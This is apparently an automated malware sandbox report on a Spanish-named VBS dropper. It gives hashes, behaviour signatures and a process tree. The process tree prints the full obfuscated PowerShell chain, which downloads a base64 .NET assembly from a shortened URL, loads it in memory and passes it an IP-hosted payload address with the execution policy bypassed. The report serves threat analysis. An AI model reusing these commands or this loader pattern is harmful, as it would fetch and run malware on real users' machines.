Analysis

  • max time kernel
    47s
  • max time network
    50s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    10/10/2022, 15:45

General

  • Target

    0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs

  • Size

    201KB

  • MD5

    d31abe34b0270957dea045661492c0e3

  • SHA1

    ff2d86a0282fcb7db59040e7ad0b77890bd719fb

  • SHA256

    041169b1bab3881a74211ccf368ab7e605a44257bc714fabae64b1c49878bd66

  • SHA512

    a93cf31ea7b162405b7c04c506b9944bdb6cf562fac0b22aa4e470bca499494bd09f6cd923a9111fb26de9df7dbae67468c20764a51f3ae28937478f33fdca5a

  • SSDEEP

    96:dyYRYFYDnYFLvTfJZf4UbbNhtF/Zldy2ILS8414NEWUvWZ1+AN1qHk:d9uaOAy/ATm45ZJ1qE

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://tinyurl.com/2erph6cs

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIBQgFCCvAK8AFCCvABMgEyCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADIAWABaAC8AcwByAG⌚⌚⌚AZgBvAG0ALwB3AG⌚⌚⌚AbgAvADQANwAuADAANQAuADMAMQAyAC4AMQA5AC8ALwA6AHAAdAB0AGgAJwAgACwAIAAkAFIAbwBkAGEAQwBvAHAAeQAgACwAIAAnACQAJQAmAC8ANQA2ADcA⌚⌚⌚gA3ADgANQA0AGYAcgBnAGgAagBrAHkAaAB0AHkAZgA1ADYANgA3ACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('–——¯¯—¯––¯', 'C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = 'C:\Users\Admin\AppData\Local\Temp\0521547851_Reportes_Certificados_20541874651198912310 De estar de acuerdo con la información propo.vbs';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.2XZ/srefom/wen/47.05.312.19//:ptth' , $RodaCopy , '$%&/567R7854frghjkyhtyf5667' ))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:688

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          6e9ce01bc1767deffc8269ac6e663dcf

          SHA1

          3e428d6a27ac7bade2a9d06e76ffbe2291f2d271

          SHA256

          8af2684fc374ee1f0eb429f922da12daad6c8903be2bd732922669bd73486633

          SHA512

          f4c8f128931f212d823f82ed56b70aab2d9d6c6f721f985823bbf0f28c3da4ae4a8285d7e73a0889a80c88189304f9e82a505858e19902545dede1ef71cdef51

        • memory/688-64-0x000007FEF3C00000-0x000007FEF4623000-memory.dmp

          Filesize

          10.1MB

        • memory/688-70-0x00000000025DB000-0x00000000025FA000-memory.dmp

          Filesize

          124KB

        • memory/688-69-0x00000000025D4000-0x00000000025D7000-memory.dmp

          Filesize

          12KB

        • memory/688-68-0x00000000025DB000-0x00000000025FA000-memory.dmp

          Filesize

          124KB

        • memory/688-67-0x00000000025D4000-0x00000000025D7000-memory.dmp

          Filesize

          12KB

        • memory/688-66-0x000007FEF30A0000-0x000007FEF3BFD000-memory.dmp

          Filesize

          11.4MB

        • memory/852-54-0x000007FEFB651000-0x000007FEFB653000-memory.dmp

          Filesize

          8KB

        • memory/1860-58-0x000007FEF30A0000-0x000007FEF3BFD000-memory.dmp

          Filesize

          11.4MB

        • memory/1860-65-0x00000000023BB000-0x00000000023DA000-memory.dmp

          Filesize

          124KB

        • memory/1860-60-0x000000001B700000-0x000000001B9FF000-memory.dmp

          Filesize

          3.0MB

        • memory/1860-59-0x00000000023B4000-0x00000000023B7000-memory.dmp

          Filesize

          12KB

        • memory/1860-57-0x000007FEF3C00000-0x000007FEF4623000-memory.dmp

          Filesize

          10.1MB

        • memory/1860-71-0x00000000023B4000-0x00000000023B7000-memory.dmp

          Filesize

          12KB

        • memory/1860-72-0x00000000023BB000-0x00000000023DA000-memory.dmp

          Filesize

          124KB